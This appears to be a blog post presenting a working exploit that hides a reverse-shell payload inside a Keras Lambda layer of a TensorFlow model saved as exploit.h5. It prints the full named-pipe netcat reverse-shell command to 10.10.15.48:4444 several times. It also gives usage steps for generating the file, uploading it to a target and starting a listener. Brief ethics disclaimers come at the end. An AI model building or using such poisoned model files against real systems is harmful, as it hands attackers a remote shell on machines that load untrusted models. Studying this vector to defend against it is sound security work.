TensorFlow Model Exploit

“Sometimes the most dangerous exploits hide in the most innocent-looking files.”

Important, This is not my script

I used it, and I wanted to post it here for the sake of content, but it was sent to me and I am thankful for the helping hand.

This script demonstrates a creative approach to exploitation by embedding a reverse shell payload within a TensorFlow model. It’s a lesson in how seemingly benign file formats can become vectors for code execution when proper validation isn’t in place.

What This Script Does

This exploit leverages TensorFlow’s model serialization to embed and execute arbitrary code:

• Creates a TensorFlow model with a Lambda layer containing the payload
• Embeds reverse shell code within the model’s computation graph
• Serializes the model to HDF5 format for delivery
• Triggers execution when the model is loaded and processed

Download

Download the script

The Exploitation Technique

Model Creation with Payload

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.48 4444 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

How It Works

1. Lambda Layer: Contains the reverse shell payload as a function
2. Model Serialization: Saves the model with embedded code to HDF5 format
3. Code Execution: When the model is loaded and processed, the Lambda function executes
4. Reverse Shell: Establishes connection back to the attacker

Usage

Basic Usage

# Generate the exploit model
python exploit.py

# The model will be saved as exploit.h5
# Upload to target system that processes TensorFlow models

Prerequisites

# Install TensorFlow
pip install tensorflow

# Ensure netcat listener is ready
nc -lvp 4444

Code Preview

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.48 4444 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Technical Details

Why TensorFlow Models?

• Common file format in ML/AI environments
• Code execution capability through Lambda layers
• Often trusted by security systems
• Serialization bypasses some security controls

The Payload

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.48 4444 >/tmp/f

• Creates named pipe for bidirectional communication
• Establishes reverse shell to attacker’s system
• Maintains persistent connection through the pipe

Ethical Considerations

This script is designed for:

• Educational purposes in model serialization security
• Security research on ML/AI system vulnerabilities
• Understanding code execution vectors in trusted formats
• Defensive research against model-based attacks

Important Notes:

• Only use on authorized systems
• This demonstrates a real vulnerability in ML systems
• Use responsibly and ethically
• Focus on defensive understanding

Integration with Other Tools

This technique works well with:

• ML/AI security research: Understanding model-based attacks
• File upload vulnerabilities: When model files are accepted
• Code execution research: Studying serialization exploits
• Defensive measures: Protecting against model-based attacks

Next Steps

After understanding this technique:

1. Research model validation methods
2. Study defensive measures against serialization attacks
3. Explore other ML frameworks for similar vulnerabilities
4. Practice secure model handling in production systems

Remember: This is a learning tool for understanding how trusted file formats can become attack vectors.

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This script demonstrates the importance of validating all file inputs, even those from trusted sources. It’s designed for educational purposes and responsible security research.

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